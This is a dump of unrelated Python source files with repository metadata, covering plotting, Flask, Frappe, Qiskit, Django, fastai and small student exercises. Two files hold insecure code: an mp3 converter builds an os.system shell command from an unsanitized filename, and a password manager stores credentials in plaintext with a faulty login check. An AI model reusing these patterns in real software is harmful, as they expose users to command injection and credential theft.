blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 288 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2 values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 684 values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22 values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 147 values | src_encoding stringclasses 25 values | language stringclasses 1 value | is_vendor bool 2 classes | is_generated bool 2 classes | length_bytes int64 128 12.7k | extension stringclasses 142 values | content stringlengths 128 8.19k | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ff264d04f5910444f98cfa82b309a14c52616dbd | b731d1b35a5416cdd73d421ea3b88a3a18e4c6d3 | /tools/report-error-positional-distribution.py | 050f158a7b77d58da6ba54495fe3b1672e24adbd | [] | no_license | xflicsu/ecliptic | ad772d3563cff1875dddc7d29d156093e03afd07 | e9d2e671bcabc5df30ada0cf42953769099ad5d7 | refs/heads/master | 2020-12-28T21:06:37.212834 | 2013-06-18T14:13:23 | 2013-06-18T14:13:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,225 | py | #!/usr/bin/env python
from __future__ import division
import csv
import sys
import os
import pickle
import numpy as np
import matplotlib as mpl
mpl.use('Agg') # to enable plotting without X11
from matplotlib import pyplot as plt
from ecliptic.support.plotutils import iwork_colors, adjust_numbers_style
PLOT_FORMATS = ['png', 'pdf']
BASES = 'ACGTX'
BASE_NONEXISTENT = 4
COLFORSTATS = 2 # index in pickled profile. 0: from 5' end 1: from 3' end 2: 12-division
# Make masking matrices for counting match, del, ins or substitutions.
EYE_MATRIX = np.identity(len(BASES), np.uint64)
MASK_MATCH = EYE_MATRIX.copy()
MASK_DEL = np.zeros([len(BASES)] * 2, np.uint64); MASK_DEL[:, BASE_NONEXISTENT] = 1
MASK_INS = np.zeros([len(BASES)] * 2, np.uint64); MASK_INS[BASE_NONEXISTENT, :] = 1
MASK_SUBST = 1 - MASK_MATCH - MASK_DEL - MASK_INS
for arr in (MASK_MATCH, MASK_DEL, MASK_INS, MASK_SUBST):
arr[BASE_NONEXISTENT, BASE_NONEXISTENT] = 0
def write_tabular_output(options, data, fieldsize):
w = csv.writer(open(options['csv'], 'w'))
fieldheaders = [
'%d %s-to-%s' % (fn + 1, basef, baset)
for fn in range(fieldsize)
for basef in BASES for baset in BASES
if basef != 'X' or baset != 'X'
]
w.writerow(['Sample'] + fieldheaders)
for sample, _ in options['profiles']:
profile = data[sample]
fielddata = [
profile[COLFORSTATS][fn, i, j]
for fn in range(fieldsize)
for i, basef in enumerate(BASES)
for j, baset in enumerate(BASES)
if basef != 'X' or baset != 'X'
]
w.writerow([sample] + fielddata)
def plot_error_profiles_total(options, data, fieldsize):
xpositions = np.arange(fieldsize)
for sample, _ in options['profiles']:
profile = data[sample][COLFORSTATS]
fig = plt.figure(figsize=(3.5, 2.8))
subst_freq = []
ins_freq = []
del_freq = []
for fn in range(fieldsize):
inserted = (profile[fn] * MASK_INS).sum()
deleted = (profile[fn] * MASK_DEL).sum()
substed = (profile[fn] * MASK_SUBST).sum()
total = profile[fn].sum()
subst_freq.append(substed / total * 100)
ins_freq.append(inserted / total * 100)
del_freq.append(deleted / total * 100)
plt.plot(xpositions, subst_freq, label='subst', c=iwork_colors.yellow, linewidth=1.2)
plt.plot(xpositions, ins_freq, label='ins', c=iwork_colors.red, linewidth=1.2)
plt.plot(xpositions, del_freq, label='del', c=iwork_colors.blue, linewidth=1.2)
ax = plt.gca()
plt.setp(ax.get_xticklabels(), visible=False)
plt.xlim(0, fieldsize-1)
plt.xlabel('Position in tag')
plt.ylabel('Frequency (percent)')
plt.title(sample)
box = ax.get_position()
ax.set_position([box.x0 + 0.1, box.y0 + box.height * 0.2,
box.width * 0.9, box.height * 0.77])
ax.legend(loc='upper center', bbox_to_anchor=(0.5, -0.1), ncol=3, columnspacing=0.5,
frameon=False, handletextpad=0.5)
adjust_numbers_style(ax, xgrid=True)
for format in PLOT_FORMATS:
plt.savefig(options['plots'].format(format=format, type='total', sample=sample))
plt.cla()
plt.clf()
def plot_error_profiles_pertype(options, data, fieldsize, plottype):
xpositions = np.arange(fieldsize)
freqmask = {'del': MASK_DEL, 'subst': MASK_SUBST}[plottype]
for sample, _ in options['profiles']:
profile = data[sample][COLFORSTATS]
fig = plt.figure(figsize=(3.5, 2.8))
freqs = [[] for i in range(len(BASES) - 1)]
for fn in range(fieldsize):
profmasked = profile[fn] * freqmask
for basei, freqtbl in enumerate(freqs):
basereads = profile[fn, basei].sum()
freqtbl.append(profmasked[basei].sum() / basereads)
for base, freqtbl, color in zip(BASES, freqs, iwork_colors):
plt.plot(xpositions, freqtbl, label=base, c=color, linewidth=1.2)
ax = plt.gca()
plt.setp(ax.get_xticklabels(), visible=False)
plt.xlim(0, fieldsize-1)
plt.xlabel('Position in tag')
plt.ylabel('Frequency (percent)')
plt.title(sample)
box = ax.get_position()
ax.set_position([box.x0 + 0.1, box.y0 + box.height * 0.2,
box.width * 0.9, box.height * 0.77])
ax.legend(loc='upper center', bbox_to_anchor=(0.5, -0.1), ncol=4, columnspacing=0.5,
frameon=False, handletextpad=0.5)
adjust_numbers_style(ax, xgrid=True)
for format in PLOT_FORMATS:
plt.savefig(options['plots'].format(format=format, type=plottype, sample=sample))
plt.cla()
plt.clf()
def plot_error_profiles(options, data, fieldsize):
plot_error_profiles_total(options, data, fieldsize)
for plottype in ('subst', 'del'):
plot_error_profiles_pertype(options, data, fieldsize, plottype)
def parse_arguments():
import argparse
parser = argparse.ArgumentParser(description='Generate a table and plot of '
'error frequency distribution for the report')
parser.add_argument('profiles', metavar='name:pickle', type=str, nargs='+',
help='Input profiles with name.')
parser.add_argument('--output-csv', dest='csv', metavar='PATH', type=str,
help='Tabular output file path')
parser.add_argument('--output-plot', dest='plots', metavar='PATH', type=str,
help='Plot output file path (use {format}, {sample} and {type})')
args = parser.parse_args()
return {
'profiles': [tok.split(':') for tok in args.profiles],
'csv': args.csv,
'plots': args.plots,
}
if __name__ == '__main__':
options = parse_arguments()
data = dict((sample, pickle.load(open(filename)))
for sample, filename in options['profiles'])
fieldsize = data.itervalues().next()[COLFORSTATS].shape[0]
write_tabular_output(options, data, fieldsize)
plot_error_profiles(options, data, fieldsize)
| [
"hyeshik@snu.ac.kr"
] | hyeshik@snu.ac.kr |
4f7c0f59574280506381ae50d52222c1fa3a1b2a | ba12e5b18bf29cf152050bade5dfc04493904afb | /setup.py | 3291b5009df36c8de49ffd8eb8a279cc654313df | [] | no_license | st4lk/centrifuge-mongodb | 4ac5b99db29443db0db3862712bb0194d4097a82 | c9c5c678fc1935c761433d33804bcf59d588c406 | refs/heads/master | 2020-02-26T13:19:19.022732 | 2014-03-19T08:42:02 | 2014-03-19T08:42:02 | 26,912,597 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,447 | py | import os
import sys
from setuptools import setup
if sys.argv[-1] == 'test':
status = os.system('python tests/tests.py')
sys.exit(1 if status > 127 else status)
requirements = [
'centrifuge',
'six==1.3.0',
'motor==0.1.2'
]
def long_description():
return "MongoDB structure backend for Centrifuge"
setup(
name='centrifuge-mongodb',
version='0.2.0',
description="MongoDB structure backend for Centrifuge",
long_description=long_description(),
url='https://github.com/centrifugal/centrifuge-mongodb',
download_url='https://github.com/centrifugal/centrifuge-mongodb',
author="Alexandr Emelin",
author_email='frvzmb@gmail.com',
license='MIT',
packages=['centrifuge_mongodb'],
install_requires=requirements,
classifiers=[
'Development Status :: 3 - Alpha',
'Programming Language :: Python',
'Programming Language :: Python :: 2.6',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3.3',
'Environment :: Console',
'Intended Audience :: Developers',
'Intended Audience :: System Administrators',
'License :: OSI Approved :: Apache Software License',
'Topic :: Internet :: WWW/HTTP',
'Topic :: Software Development',
'Topic :: System :: Networking',
'Topic :: Terminals',
'Topic :: Text Processing',
'Topic :: Utilities'
]
)
| [
"frvzmb@gmail.com"
] | frvzmb@gmail.com |
8fe0d18309ed7841e63127156eb08261cb23e707 | 3185e5061f522f80d88122e022a35e7b1541296f | /startCamp/04_day/flask/app.py | 548c80842bc4c8e68432fb66aaa84b767ba26eb8 | [] | no_license | min1378/TIL | cc688b6e6377563e9d55712b81b117c69d1c8c25 | afbeba104d10614e078ec43676a4e1c1d70422a3 | refs/heads/master | 2020-06-17T11:55:45.982224 | 2019-07-12T01:14:04 | 2019-07-12T01:14:04 | 195,916,904 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,339 | py | from flask import Flask, render_template, request #requests랑 다름 flask 자체 제공 함수 사용자의 요청을 확인할 수 있는 객체
import requests
import bs4
app = Flask(__name__)
@app.route('/') # / => root
def index():
return 'hello world'
@app.route('/greeting/<string:name>') #입력받아올땐 꺽쇠 <> 사용!!!!!
def hello(name):
#return f'안녕하세요 {name}님'
return render_template('greeting.html', html_name=name)
@app.route('/ping')
def ping():
return render_template('ping.html')
@app.route('/pong')
def pong():
age= request.args.get('age')
return f'Pong! age: {age}'
@app.route('/google')
def google():
return render_template('google.html')
@app.route('/naver')
def naver():
return render_template('naver.html')
@app.route('/ascii_input')
def ascii_input():
return render_template('ascii_input.html')
@app.route('/ascii_result')
def ascii_result():
text = request.args.get('text') # Message
#Ascii Art API를 활용하여 사용자의 input 값을 변경한다.
response = requests.get(f'http://artii.herokuapp.com/make?text={text}')
result = response.text
return render_template('ascii_result.html', result=result)
@app.route('/lotto_input')
def lotto_input():
return render_template('lotto_input.html')
@app.route('/lotto_result')
def lotto_result():
lotto_round = request.args.get('lotto_round')
lotto_number = request.args.get('text').split()
url=f'https://dhlottery.co.kr/common.do?method=getLottoNumber&drwNo={lotto_round}'
response = requests.get(url)
lotto_info = response.json() # Json Type의 파일을 파이썬 dictionary로 parsing해줘!!!!!!
#for key, val in lotto_info.items():
winner =[]
for i in range(1,7) :
winner.append(str(lotto_info[f'drwtNo{i}']))
#winner.sort()
print(winner)
print(lotto_number)
#번호 교집합 개수 찾기
if len(lotto_number) == 6: # 사용자가 보낸 숫자가 6개가 맞는지 확인
matched = 0 #교집합 개수 초기화
for number in lotto_number: #사용자가 보낸 숫자만큼 돌림
if number in winner: #사용자가 보낸 숫자와 1등번호를 비교
matched += 1 #교집합 발생시 1씩 증가
if matched == 6:
result = "1등"
elif matched == 5:
if str(lotto_info['bnusNo']) in lotto_number:
result ="2등"
else :
result ="3등"
elif matched == 4:
result = "4등"
elif matched == 3:
result = "5등"
else:
result = '꽝'
return render_template('lotto_result.html', result=result)
if __name__ == '__main__' : # 파이썬 실행방법에는 두가지... 1. python @@.py 2. 모듈을 호출하는 방법 import시키면 자동 실행 파이썬은 그 자체로 모듈이 된다.
#__name__이라는 변수는 모든 파이썬에 존재. 모듈 호출로 실행하면 __name__에 __main__이 없다. 해당모듈의 이름이 나옴.
# 그러나 @@.py로 실행하면 __name__에 __main__이라는 값이 들어간다. 구분하기 위한 용도
app.run(debug=True) | [
"qwes123@naver.com"
] | qwes123@naver.com |
b06dc60fd4fb7841a68042ea98f1808d2d288fe3 | 888e79392cb660be5799cc5bd25d76bcfa9e2e2c | /doctorus/doctorus/doctype/actividad/actividad.py | eee8389df8919f860cdc420df5fd9dbd3524f95f | [
"MIT"
] | permissive | Nirchains/doctorus | 269eadee5754612c521d1c6193d5fe7bbfdb3b8a | 38d39270742dfdae6597a06713952df01a2c3e9d | refs/heads/master | 2020-03-17T07:09:30.046005 | 2019-05-08T06:51:50 | 2019-05-08T06:51:50 | 133,386,354 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,963 | py | # -*- coding: utf-8 -*-
# Copyright (c) 2018, HISPALIS DIGITAL and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document
class Actividad(Document):
def validate(self):
pass
def on_submit(self):
validate_requirements(self.expedient)
def on_cancel(self):
validate_requirements(self.expedient)
def validate_requirements(expedient):
#print("validando expediente: {0}".format(expedient))
activities = 'No superadas'
if check_requirements(expedient):
#print("Actividades superadas")
activities = 'Superadas'
doc_expedient = frappe.get_doc("Expediente", expedient)
if doc_expedient.activities != activities:
#print("Actualizando documento")
doc_expedient.activities = activities
doc_expedient.save()
frappe.clear_cache()
#frappe.db.set_value('Expediente', expedient, 'activities', activities)
def check_requirements(expedient):
#print("validando expediente: {0}".format(expedient))
rules = frappe.db.get_list('Requisitos Actividades', filters={
'parent': 'Configuracion del Programa',
'parentfield': 't_activity_requirements'
}, fields=['activity_type', 'min'])
meet_requirements = True
for r in rules:
count = int(frappe.db.sql("""select count(*) from `tabActividad` where
expedient=%(expedient)s and docstatus = 1
and activity_type=%(activity_type)s """, {"expedient": expedient, "activity_type": r.activity_type})[0][0])
#frappe.log_error("Contador de expediente '{0}' y actividad '{1}': {2}".format(expedient, r.activity_type, count))
#print("Contador de expediente '{0}' y actividad '{1}': {2}".format(expedient, r.activity_type, count))
if count < r.min:
meet_requirements = False
return meet_requirements
def update_all_requirements():
expedientes = frappe.db.get_list('Expediente')
for expediente in expedientes:
validate_requirements(expediente.name)
frappe.db.commit() | [
"nirchains@gmail.com"
] | nirchains@gmail.com |
9f417eb14d8abcbced54fe8f9fe566e3e40b832b | a7d1030cb797b862b87ee3e8b8a206814d26eee2 | /mp32wav | 4a3f91cf65190620fa86b58032fd439474bf2f5e | [] | no_license | lmanul/sak | 8bdf98d2e463f3e171aa79b82557cd4d6ade2724 | 37604f1d0dc61373bd24d73d742afe9c754e62a3 | refs/heads/master | 2023-08-30T07:51:04.727676 | 2023-08-27T06:09:46 | 2023-08-27T06:09:46 | 144,207,029 | 6 | 0 | null | null | null | null | UTF-8 | Python | false | false | 167 | #!/usr/bin/python3
import os
import sys
mp3 = sys.argv[1]
wav = mp3.replace("mp3", "wav")
wav = wav.replace("MP3", "wav")
os.system("ffmpeg -i " + mp3 + " " + wav)
| [
"m@ma.nu"
] | m@ma.nu | |
46cf4fbeb1bcfa982b10cd663c29fdddcee01b4c | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2921/58586/259025.py | 986b891f3ca8d9ab2517f01c7e63aa7d53fae1c9 | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 704 | py | [n,m,d]=list(map(int,input().split(" ")))
arr=[]
for i in range(n):
temp=list(map(int,input().split(" ")))
for j in range(m):
arr.append(temp[j])
arr.sort()
start=arr[0]
flag=False
final={}
index=0
for i in range(1,len(arr)):
if arr[i]!=start:
if (arr[i]-start)%d:
flag=True
break
else:
final.setdefault(start,i-index)
index=i
start=arr[i]
if flag:
print(-1)
else:
final.setdefault(start,len(arr)-index)
mix=1000000007
for i in final.keys():
sum=0
for j in final.keys():
if j!=i:
sum+=(abs(j-i)*final[j])//d
mix=min(mix,sum)
print(mix)
| [
"1069583789@qq.com"
] | 1069583789@qq.com |
c90e8ed2cdc4ea72c332363db1794fa3f0f34920 | 09e57dd1374713f06b70d7b37a580130d9bbab0d | /benchmark/startQiskit_Class2485.py | 6b13a2466853ebc3044175c1edfaec9ec5c78dc7 | [
"BSD-3-Clause"
] | permissive | UCLA-SEAL/QDiff | ad53650034897abb5941e74539e3aee8edb600ab | d968cbc47fe926b7f88b4adf10490f1edd6f8819 | refs/heads/main | 2023-08-05T04:52:24.961998 | 2021-09-19T02:56:16 | 2021-09-19T02:56:16 | 405,159,939 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,244 | py | # qubit number=4
# total number=43
import cirq
import qiskit
from qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister
from qiskit import BasicAer, execute, transpile
from pprint import pprint
from qiskit.test.mock import FakeVigo
from math import log2
import numpy as np
import networkx as nx
def bitwise_xor(s: str, t: str) -> str:
length = len(s)
res = []
for i in range(length):
res.append(str(int(s[i]) ^ int(t[i])))
return ''.join(res[::-1])
def bitwise_dot(s: str, t: str) -> str:
length = len(s)
res = 0
for i in range(length):
res += int(s[i]) * int(t[i])
return str(res % 2)
def build_oracle(n: int, f) -> QuantumCircuit:
# implement the oracle O_f
# NOTE: use multi_control_toffoli_gate ('noancilla' mode)
# https://qiskit.org/documentation/_modules/qiskit/aqua/circuits/gates/multi_control_toffoli_gate.html
# https://quantumcomputing.stackexchange.com/questions/3943/how-do-you-implement-the-toffoli-gate-using-only-single-qubit-and-cnot-gates
# https://quantumcomputing.stackexchange.com/questions/2177/how-can-i-implement-an-n-bit-toffoli-gate
controls = QuantumRegister(n, "ofc")
target = QuantumRegister(1, "oft")
oracle = QuantumCircuit(controls, target, name="Of")
for i in range(2 ** n):
rep = np.binary_repr(i, n)
if f(rep) == "1":
for j in range(n):
if rep[j] == "0":
oracle.x(controls[j])
oracle.mct(controls, target[0], None, mode='noancilla')
for j in range(n):
if rep[j] == "0":
oracle.x(controls[j])
# oracle.barrier()
return oracle
def make_circuit(n:int,f) -> QuantumCircuit:
# circuit begin
input_qubit = QuantumRegister(n,"qc")
classical = ClassicalRegister(n, "qm")
prog = QuantumCircuit(input_qubit, classical)
prog.h(input_qubit[3]) # number=24
prog.cz(input_qubit[0],input_qubit[3]) # number=25
prog.h(input_qubit[3]) # number=26
prog.h(input_qubit[3]) # number=21
prog.cz(input_qubit[0],input_qubit[3]) # number=22
prog.h(input_qubit[3]) # number=23
prog.h(input_qubit[3]) # number=27
prog.cz(input_qubit[0],input_qubit[3]) # number=28
prog.h(input_qubit[3]) # number=29
prog.h(input_qubit[3]) # number=37
prog.cz(input_qubit[0],input_qubit[3]) # number=38
prog.h(input_qubit[3]) # number=39
prog.x(input_qubit[3]) # number=31
prog.h(input_qubit[3]) # number=33
prog.cz(input_qubit[0],input_qubit[3]) # number=34
prog.h(input_qubit[3]) # number=35
prog.h(input_qubit[3]) # number=40
prog.cz(input_qubit[0],input_qubit[3]) # number=41
prog.h(input_qubit[3]) # number=42
prog.rx(-0.364424747816416,input_qubit[3]) # number=36
prog.y(input_qubit[3]) # number=20
prog.cx(input_qubit[0],input_qubit[3]) # number=15
prog.cx(input_qubit[0],input_qubit[3]) # number=12
prog.h(input_qubit[1]) # number=2
prog.h(input_qubit[2]) # number=3
prog.h(input_qubit[3]) # number=4
prog.h(input_qubit[0]) # number=5
oracle = build_oracle(n-1, f)
prog.append(oracle.to_gate(),[input_qubit[i] for i in range(n-1)]+[input_qubit[n-1]])
prog.h(input_qubit[1]) # number=6
prog.h(input_qubit[2]) # number=7
prog.h(input_qubit[3]) # number=19
prog.h(input_qubit[3]) # number=8
prog.h(input_qubit[0]) # number=9
# circuit end
return prog
if __name__ == '__main__':
a = "111"
b = "0"
f = lambda rep: bitwise_xor(bitwise_dot(a, rep), b)
prog = make_circuit(4,f)
backend = BasicAer.get_backend('statevector_simulator')
sample_shot =8000
info = execute(prog, backend=backend).result().get_statevector()
qubits = round(log2(len(info)))
info = {
np.binary_repr(i, qubits): round((info[i]*(info[i].conjugate())).real,3)
for i in range(2 ** qubits)
}
backend = FakeVigo()
circuit1 = transpile(prog,backend,optimization_level=2)
writefile = open("../data/startQiskit_Class2485.csv","w")
print(info,file=writefile)
print("results end", file=writefile)
print(circuit1.__len__(),file=writefile)
print(circuit1,file=writefile)
writefile.close()
| [
"wangjiyuan123@yeah.net"
] | wangjiyuan123@yeah.net |
37c32bed552b8bc0037a4d7c3e13c1478324fb9a | a89b9dbcd0af4a98303651e73bdcc100bd7bf8f2 | /lib/node.py | fd373f513300941bfa8ca89dc179e7ab4be52ec6 | [] | no_license | freeman1981/algorithms | f5b9065db7ea5ede108a70ad9276630b329a6cbf | 312d1253c2bf0a53bc346abee9b51369037f93a6 | refs/heads/master | 2021-09-04T16:03:57.791928 | 2018-01-20T05:13:14 | 2018-01-20T05:13:14 | 115,587,060 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 336 | py | class Node:
def __init__(self, init_data):
self._data = init_data
self._next = None
def get_data(self):
return self._data
def get_next(self):
return self._next
def set_data(self, new_data):
self._data = new_data
def set_next(self, new_next):
self._next = new_next
| [
"a"
] | a |
fcb2f6c40dbb8ed628205a4f54ebdeb0aac571fa | 6444622ad4a150993955a0c8fe260bae1af7f8ce | /djangoenv/lib/python2.7/site-packages/django/contrib/postgres/forms/ranges.py | 0498f42c1330eb6418f119272348fadab2465108 | [] | no_license | jeremyrich/Lesson_RestAPI_jeremy | ca965ef017c53f919c0bf97a4a23841818e246f9 | a44263e45b1cc1ba812059f6984c0f5be25cd234 | refs/heads/master | 2020-04-25T23:13:47.237188 | 2019-03-22T09:26:58 | 2019-03-22T09:26:58 | 173,138,073 | 0 | 0 | null | 2019-03-22T09:26:59 | 2019-02-28T15:34:19 | Python | UTF-8 | Python | false | false | 3,070 | py | from psycopg2.extras import DateRange, DateTimeTZRange, NumericRange
from django import forms
from django.core import exceptions
from django.forms.widgets import MultiWidget
from django.utils.translation import ugettext_lazy as _
__all__ = [
"IntegerRangeField",
"FloatRangeField",
"DateTimeRangeField",
"DateRangeField",
]
class BaseRangeField(forms.MultiValueField):
default_error_messages = {
"invalid": _("Enter two valid values."),
"bound_ordering": _(
"The start of the range must not exceed the end of the range."
),
}
def __init__(self, **kwargs):
if "widget" not in kwargs:
kwargs["widget"] = RangeWidget(self.base_field.widget)
if "fields" not in kwargs:
kwargs["fields"] = [
self.base_field(required=False),
self.base_field(required=False),
]
kwargs.setdefault("required", False)
kwargs.setdefault("require_all_fields", False)
super(BaseRangeField, self).__init__(**kwargs)
def prepare_value(self, value):
lower_base, upper_base = self.fields
if isinstance(value, self.range_type):
return [
lower_base.prepare_value(value.lower),
upper_base.prepare_value(value.upper),
]
if value is None:
return [lower_base.prepare_value(None), upper_base.prepare_value(None)]
return value
def compress(self, values):
if not values:
return None
lower, upper = values
if lower is not None and upper is not None and lower > upper:
raise exceptions.ValidationError(
self.error_messages["bound_ordering"], code="bound_ordering"
)
try:
range_value = self.range_type(lower, upper)
except TypeError:
raise exceptions.ValidationError(
self.error_messages["invalid"], code="invalid"
)
else:
return range_value
class IntegerRangeField(BaseRangeField):
default_error_messages = {"invalid": _("Enter two whole numbers.")}
base_field = forms.IntegerField
range_type = NumericRange
class FloatRangeField(BaseRangeField):
default_error_messages = {"invalid": _("Enter two numbers.")}
base_field = forms.FloatField
range_type = NumericRange
class DateTimeRangeField(BaseRangeField):
default_error_messages = {"invalid": _("Enter two valid date/times.")}
base_field = forms.DateTimeField
range_type = DateTimeTZRange
class DateRangeField(BaseRangeField):
default_error_messages = {"invalid": _("Enter two valid dates.")}
base_field = forms.DateField
range_type = DateRange
class RangeWidget(MultiWidget):
def __init__(self, base_widget, attrs=None):
widgets = (base_widget, base_widget)
super(RangeWidget, self).__init__(widgets, attrs)
def decompress(self, value):
if value:
return (value.lower, value.upper)
return (None, None)
| [
"jeremyrich@free.fr"
] | jeremyrich@free.fr |
55dd996f52ef086c06fc9b23667bc1055a5ef042 | 4943280542b35028ec84d5aca3b24dd3e1bd1794 | /pm_readwrite1.py | 13903bf9bd7ee3ad8c66c62afe7b22e263385436 | [] | no_license | Botany-Downs-Secondary-College/password_manager-sam-hurd | e3db67508dc0b605483e49ebf6ca14c7504794b3 | 2ff0a2efb04f76c92675fb2320278ba91bd74bad | refs/heads/main | 2023-03-30T04:59:51.852270 | 2021-03-25T01:41:55 | 2021-03-25T01:41:55 | 341,007,543 | 0 | 1 | null | 2021-02-21T21:26:12 | 2021-02-21T21:26:07 | null | UTF-8 | Python | false | false | 3,771 | py | #password_manager.py
#store and display passwords for users
#Sam Hurd, Feb 22
i = 1
user_list = ["bdsc", "pass1234"]
login_list = []
with open("members.txt") as fa:
lines = fa.readlines()
for line in lines:
members = line.split()
for member in members:
user_list.append(member)
print(user_list)
with open("logins.txt") as fa:
lines = fa.readlines()
for line in lines:
members = line.split("\n")
for member in members:
login_list.append(member)
print(login_list)
def add_login():
while True:
app_name = input("Enter the name of the app or service, or type 'menu' to return to the menu\n").strip().title()
if app_name == "Menu":
break
else:
username = input("What username did you use for {}? \n".format(app_name)).strip()
password = input("What password did you use for {}? \n".format(app_name)).strip()
login = "Website/App: {} -- Username: {} -- Password: {}\n".format(app_name, username, password)
login_list.append(login)
with open("logins.txt", 'a+') as output:
for listitem in login_list:
output.write(listitem)
print("Login added successfully")
break
def view_login():
print("Here are your logins:\n")
for logins in login_list:
print(logins)
print("Welcome to the Password Manager")
name = input("What is your name? ")
while True:
try:
age = float(input("What is your age? "))
break
except:
print("Please enter a number")
print("Hello {}".format(name))
if age < 13:
print("Sorry, you are not old enough to use the password manager. The programme will now exit")
exit()
while i == 1:
member = input("Enter L to log in or N to create a new account \n")
if member == "L":
username = input("Enter your username ")
password = input("Enter your password ")
if username and password in user_list:
print("Log in successful")
i += 1
elif username and password not in user_list:
print("That combination does not match any existing account")
elif member == "N":
username = input("Enter a username \n")
user_list.append(username)
while True:
password = input("Enter a password. Your password must contain at least eight characters, one capital letter and one number\n")
if (any(passreqs.isupper() for passreqs in password) and any(passreqs.isdigit() for passreqs in password) and len(password) >= 8):
user_list.append(password)
print(user_list)
with open("members.txt", 'a+') as output:
for listitem in user_list:
output.write('%s\n' % listitem)
print("Account successfully created")
i += 1
break
else:
print("Your password does not meet the requirements")
else:
print("That is not a valid option, Enter L to log in or N to create a new account \n")
while True:
option = input("Please choose a mode by entering a number from 1 to 3: \n 1. Add a password 2. View your passwords 3. Exit \n")
if option == "1":
add_login()
elif option == "2":
view_login()
elif option == "3":
print("Thanks for using Password Manager!")
exit()
else:
print("That is not a valid option. Please enter a number from 1 to 3 \n")
| [
"noreply@github.com"
] | Botany-Downs-Secondary-College.noreply@github.com |
11f5f77e6c949ed37e981d5c17ca0838d81e0991 | b84d5fe69232139ecf7282af72b2f3f802128f8b | /dev_nbs/course/lesson4-collab.py | 4cca2b9046bc206e971b43a85b1f7d32ab0f5612 | [
"Apache-2.0"
] | permissive | huangyingw/fastai_fastai | f8ba2e0a83c7b017dd797400aa5677b17590052e | 68ff76a21b2f70f44fb91885abcb73c1c213ec1a | refs/heads/master | 2023-08-30T09:14:38.268415 | 2020-10-17T23:54:20 | 2020-10-17T23:54:20 | 289,820,769 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,351 | py | # ---
# jupyter:
# jupytext:
# formats: ipynb,py
# split_at_heading: true
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.6.0
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
from fastai.collab import *
from fastai.tabular.all import *
# ## Collaborative filtering example
# `collab` models use data in a `DataFrame` of user, items, and ratings.
user, item, title = 'userId', 'movieId', 'title'
path = untar_data(URLs.ML_SAMPLE)
path
ratings = pd.read_csv(path / 'ratings.csv')
ratings.head()
# That's all we need to create and train a model:
dls = CollabDataLoaders.from_df(ratings, bs=64, seed=42)
y_range = [0, 5.5]
learn = collab_learner(dls, n_factors=50, y_range=y_range)
learn.fit_one_cycle(3, 5e-3)
# ## Movielens 100k
# Let's try with the full Movielens 100k data dataset, available from http://files.grouplens.org/datasets/movielens/ml-100k.zip
path = Config().data / 'ml-100k'
ratings = pd.read_csv(path / 'u.data', delimiter='\t', header=None,
names=[user, item, 'rating', 'timestamp'])
ratings.head()
movies = pd.read_csv(path / 'u.item', delimiter='|', encoding='latin-1', header=None,
names=[item, 'title', 'date', 'N', 'url', *[f'g{i}' for i in range(19)]])
movies.head()
len(ratings)
rating_movie = ratings.merge(movies[[item, title]])
rating_movie.head()
dls = CollabDataLoaders.from_df(rating_movie, seed=42, valid_pct=0.1, bs=64, item_name=title, path=path)
dls.show_batch()
y_range = [0, 5.5]
learn = collab_learner(dls, n_factors=40, y_range=y_range)
learn.lr_find()
learn.fit_one_cycle(5, 5e-3, wd=1e-1)
learn.save('dotprod')
# Here's [some benchmarks](https://www.librec.net/release/v1.3/example.html) on the same dataset for the popular Librec system for collaborative filtering. They show best results based on RMSE of 0.91, which corresponds to an MSE of `0.91**2 = 0.83`.
# ## Interpretation
# ### Setup
learn.load('dotprod')
learn.model
g = rating_movie.groupby('title')['rating'].count()
top_movies = g.sort_values(ascending=False).index.values[:1000]
top_movies[:10]
# ### Movie bias
movie_bias = learn.model.bias(top_movies, is_item=True)
movie_bias.shape
mean_ratings = rating_movie.groupby('title')['rating'].mean()
movie_ratings = [(b, i, mean_ratings.loc[i]) for i, b in zip(top_movies, movie_bias)]
def item0(o): return o[0]
sorted(movie_ratings, key=item0)[:15]
sorted(movie_ratings, key=lambda o: o[0], reverse=True)[:15]
# ### Movie weights
movie_w = learn.model.weight(top_movies, is_item=True)
movie_w.shape
movie_pca = movie_w.pca(3)
movie_pca.shape
fac0, fac1, fac2 = movie_pca.t()
movie_comp = [(f, i) for f, i in zip(fac0, top_movies)]
sorted(movie_comp, key=itemgetter(0), reverse=True)[:10]
sorted(movie_comp, key=itemgetter(0))[:10]
